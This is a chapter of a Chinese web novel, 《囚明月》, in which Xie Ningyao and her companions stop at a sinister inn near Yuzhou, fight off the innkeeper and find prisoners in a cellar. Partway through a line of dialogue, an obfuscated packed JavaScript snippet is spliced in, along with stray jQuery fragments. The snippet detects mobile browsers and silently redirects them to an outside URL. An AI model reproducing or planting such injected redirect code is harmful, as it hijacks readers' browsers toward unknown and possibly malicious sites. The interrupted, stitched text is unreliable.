37. 客栈
作品:《囚明月》 谢凝夭刻意的挑剔,就像是鸡蛋里挑骨头,存了心要膈应沈言白。
她看着沈言白端着清粥的手微微地顿在半空,他向来平静的眼底生出一丝黯然。
沈言白这样的模样,让谢凝夭心中莫名升起一丝短暂的快意,却又迅速被更深的烦躁碾压过去。
无奇在一旁听得幸灾乐祸,连忙殷勤地将一碟精巧的糕点捧到谢凝夭面前,道:“主人,别理他!吃这个,这可是京城酥香斋顶好的师傅做的,排了好久的队才买到!”
谢凝夭瞥了一眼那晶莹剔透的糕点,确实诱人。
她伸手接过,刚凑到唇边,沈言白那清冷的声音响了起来,像一盆冷水熄灭了她的食欲。
“你气血未平,内息紊乱,这些糕点过于甜腻,脾胃不好吸收,对你的身体无益。”
谢凝夭的动作僵住了,指尖捏着糕点,吃也不是,放也不是。
无奇见状,火气噌地冒起,却强压着,换上一个油亮喷香的鸡腿递过去,道:“那吃这个!这个不甜腻!”
沈言白冷眼扫过鸡腿,眉头微蹙,道:“荤腥油腻,此刻入口,徒增脾胃负担。”
无奇忍了又忍,腮帮子都鼓了起来,终于又端出一碗熬得软糯的甜粥,几乎是咬着牙问:“这个总行了吧?清淡,软烂,好消化!”
沈言白只看了一眼,便淡淡道:“糖霜放得太多,她向来不喜甜食。”
这句话蜻蜓点水般在谢凝夭心地生出一点波澜。
她倏然抬眼看向沈言白,眼底闪过一丝惊讶。
他竟然.......记得?
无奇却是再也压不住火气,猛地跳脚,指着沈言白的鼻子,道:“姓沈的!你存心找茬是吧!这也不行那也不行,主人吃什么用得着你管吗!”
他气得脸都红了,觉得沈言白简直是在挑衅他,不给他面子!
沈言白却无视了无奇的暴怒,只是再次将那碗他带来的,熬得米粒开花,汤色清亮的白粥,稳稳地递到谢凝夭眼前,声音放得低缓,恳切道:“我知道你此刻胃口欠佳,但多少用些,温养脾胃。”
他的目光中藏着谢凝夭看不懂,也不愿看懂的情绪。
只听见他低沉的请求道:“.......求你,吃一点吧。”
谢凝夭:“.......”她只觉得一股强烈的别扭感笼罩着她的心头。
如今沈言白用这种几乎卑微的语气对她说过话,让她无所适从,甚至隐隐有些反感。
他到底想干什么?赎罪?还是另有所图?
看着沈言白甚至作势要亲自喂她,谢凝夭心头一惊,下意识地伸手夺过了他手中的碗。
谁要他喂!假仁假义!虚情假意!
谢凝夭不动神色的在心地暗骂,指尖传来的瓷碗温热感却让她觉得有些烫手。
她垂眸看着碗中微微晃动的清粥,抿紧了唇,不情愿但也不想过于矫情,只能僵硬的用勺子舀起一点,送入口中。
米粥温软清淡,确实极易入口,可咽下去时,喉间却像堵着什么,莫名难受。
休整了几日,叶书怀在谢凝夭苏醒后的翌日便匆匆离去,只道是魔族有要事待办,具体何事,他缄口不言。
谢凝夭也不便深究,即便问了,她心底也清楚,叶书怀多半不会吐露真言。
出行当日,顾卿生如约而至,同行的竟还有苏弈。
城门外略显萧瑟。
谢凝夭看着苏弈,诧异道:“你怎么来了?”
苏弈快步上前,道:“听闻你要远行,特来相送。”她语气微顿,嗔怪,“还有,先前你受伤,为何不告知于我!”
谢凝夭避开她的视线,轻描淡写道:“不过些许小事,无足挂齿。”
谢凝夭习惯了,并未觉得不妥,但苏弈却暗自伤神,下意识认为谢凝夭没有把她当作朋友。
谢凝夭并未过多闲聊,简单告别后,便进去马车。
只是叮嘱道:“你快回去吧。”
苏弈伫立在原地,缓缓点头,目送着马车轮廓在官道上渐渐缩小。
她下意识提步向前追了两步,随即却又猛然止步,怔怔凝望着远方烟尘,身影暗淡渗出几分寂寥与挣扎。
要是她也能随谢凝夭一同走就好了......
但身后的城墙的影子却如同牢笼将她困在里面。
车内,谢凝夭恰好掀帘回望,恰巧瞧见到苏弈那欲行又止的落寞姿态。
她放下帘子,沉吟片刻,目光转向身旁的顾卿生,道:“你对她......”
顾卿生正襟危坐,闻言眼皮微抬,淡淡道:“与你一般。”
这短短四字,如巨石落下,瞬间堵住了谢凝夭的试探。
她张了张口,最终只是默然,重新掀帘望向车后,苏弈的身影已化作尽头一个小小的,模糊的点。
“愿她能.......真正重新开始吧。”
谢凝夭低语,声音轻得几乎听不见,被车轮碾过路面的辘辘声吞没。
无奇不喜车内沉闷,自告奋勇骑了匹马行在车队前方开道。
顾卿生本就是个寡言少语的性子,一路更是惜字如金。
谢凝夭心中萦绕着诸多疑虑,也无甚闲聊。
反倒是沈言白,一反平日清冷的姿态,竟成了三人中最话最多的一个。
狭小的车厢内,他略显局促的姿态与殷勤的声音形成了对比。
“你要不要喝点水润润喉?”他不知从何处取出一个精巧的水囊递过来。
谢凝夭摇头拒绝。
片刻后,他又摸出一个油纸包,道:“点心,要尝一尝吗?”
谢凝夭再次摇头。
而后,沈言白见谢凝夭靠着车壁休息,眉心微蹙,他又取出一方厚实松软的软垫,道:“坐久了腰背易酸,垫着会舒适些。”
谢凝夭被这过于密集且体贴入微的关怀搅得心烦意乱,忍无可忍地抬眸,冷言道:“你能不能......”闭嘴!
话还未喊出,马车骤然猛地一顿,车轮摩擦地面发出刺耳的声响。
无奇掀开马车的帘子,探身回报道:“主人,前方山路被落石堵死了。”
谢凝夭倾身向外望去,只见山道上堆积着大量嶙峋的巨石,猜测是山体坍塌导致的。
她下意识想用剑直接劈开一条通道。
顾卿生却冷静分析道:“堵路的落石恐怕不知这一处,绕行旁边那条小路吧。”
“虽有些绕路,但最多耽搁半日行程。”
谢凝夭略微权衡了一下,颔首应允,道:“好。”
小路确实耗费时间,快抵达渝州近郊的时候,瞧见了一处客栈,此时夜幕低垂,不适合继续前行。
距离渝州城尚有几十里,谢凝夭决定就近暂歇,翌日再启程。
马车停在客栈院落前。
院内已停着一辆马车和几垛盖着油布的货物,整个院落弥漫着一种怪异的寂静,唯有风声呜咽和树枝摇动的声音。
无奇跳下马,警惕地环顾四周,压低声音道:“主人,这地方.......怎么感觉阴森森的?”
让人有一种若有若无的寒意顺着脊背爬升的错觉。
顾卿生也察觉到了异样,不动声色地前移,将谢凝夭护在身后。
谢凝夭又本能地靠近了沈言白,不知觉地确实沈言白在她的视野范围内,可随即又猛地意识到这动作的不妥,脚步又急促地向前拉开距离,率先走向客栈大门。
她抬手叩响了斑驳的木门。
“笃笃笃.......”
片刻后,门板“吱呀”一声被拉开一道狭窄缝隙。
一张沟壑纵横,面目丑陋的老脸从缝隙里探出,浑浊的眼珠上下打量着来人。
“谁呀?”声音沙哑干涩。
顾卿生立刻上前一步,将谢凝夭挡在身后,沉声问道:“店家,可还有空房?”
老头这才将门彻底打开,身形佝偻,含糊道:“有...
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977428|177387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
....倒是有,你们几个人?”
“四人。”顾卿生答道。
老头慢吞吞地掰着手指,道:“就剩两间空房了。”
无需商议,自然是谢凝夭独居一间,其余三人共宿一室。
几人在经过二楼的木质楼梯时,脚下发出不堪重负的“咯吱”声。
谢凝夭暗中扫过两侧紧闭的房门,廊道幽深,两侧客房内一片死寂,竟没有一点人声或烛火透出。
这诡异的寂静,很不对劲。
无奇也察觉到异常,压低声音,凑在谢凝夭耳边道:“这也太安静了吧?一点声儿都没有。”
整个客栈仿佛沉睡着,连呼吸声都听不见。
老头却耳尖,眼皮耷拉着,含糊道:“都这个时辰了,客人们自然都歇下了。”
他浑浊的眼珠在昏暗的光线下显得愈发空洞。
无奇撇撇嘴,低声嘟囔道:“这才什么点儿呀?睡得也太早了些.......”
谢凝夭走向自己的房间,推门之际,沈言白悄然上前一步,手指轻轻扯了扯她的衣袖一角。
谢凝夭自然明白他的暗示,目光与他飞快地接触了一下,却未作任何回应,面无表情地径直走进房间,反手掩上了门。
屋内弥漫着一股沉闷的的气息,混杂着木头与尘埃,如同多年不曾通风一样。
谢凝夭走到窗边,用力推开那扇吱呀作响的窗户,让微凉的夜风灌入,驱散些浊气。
随后,她并未多做检查,直接和衣躺在了那张铺着粗硬被褥的床上,闭目养神。
夜过半分,万籁俱寂。
“咔哒”一声轻响,门栓被从外面悄无声息地拨开,一条黑影轻巧地滑入室内。
来人先是蹑手蹑脚地走到窗边,小心翼翼地将敞开的窗户重新关紧,隔绝了外面微弱的光线和空气。
做完这一切,黑影才转向床榻,一步步靠近,在床边站定片刻,似乎在确认床上之人是否熟睡。
接着,一只枯瘦的手缓缓伸出,悄无声息地探向谢凝夭的鼻息和脖颈,意图试探她的气息与脉搏。
就在那指尖即将触碰到谢凝夭肌肤的刹那,原本沉睡的谢凝夭骤然睁眼,眼中寒光乍现,她腰腹猛地发力,长腿一出,狠戾地踹在黑影的胸口。
“嘭!”得一声,黑影连惨叫都未来得及发出,整个人直接倒飞出去,重重砸在了墙壁上,又软软地滑落在地。
这巨大的动静似乎震动了整个客栈。
隔壁房门几乎同时被暴力撞开,沈言白第一个冲进来,瞬间挡在谢凝夭身前,目光焦灼地上下检查,道:“你怎么样?有没有受伤?”
谢凝夭眉头微蹙,伸手将他推开,不耐烦道:“大惊小怪。”
紧随其后的顾卿生已蹲在那瘫软的黑影旁,探手检查。
谢凝夭见状,问:“没死吧?我控制了力道的。”
地上躺着的,正是那面目丑陋的老头,此刻口鼻溢血,气息微弱。
顾卿生收回手,淡笑道:“还剩一口气。”
无奇此时也冲了进来,看清地上是谁后,顿时火冒三丈,冲上前狠狠补了几脚,道:“呸!丑八怪!活腻了!居然敢打我们的主意!”
谢凝夭制止了无奇继续发泄,冷静道:“这客栈里肯定还有其他猫腻,无奇,你去找找。”
“好!”无奇应声,像猎犬般在客栈内快速搜索起来。
不过片刻功夫,楼下便传来他带着惊怒的喊声,“主人!快下来!这里有一堆人!”
谢凝夭眼神一凛,带着沈言白和顾卿生迅速下楼。
楼下大堂的一角,无奇正站在一处被掀开盖板的隐蔽地窖入口旁。
地窖内光线昏暗,但隐约可见横七竖八,数十个人影,个个面容枯槁,气息奄奄,显然是被囚禁已久。
谢凝夭快步走到地窖口,她的视线在人群中巡视,下一刻,猛地停留在其中一张熟悉却苍白憔悴的脸上。
是谈思意!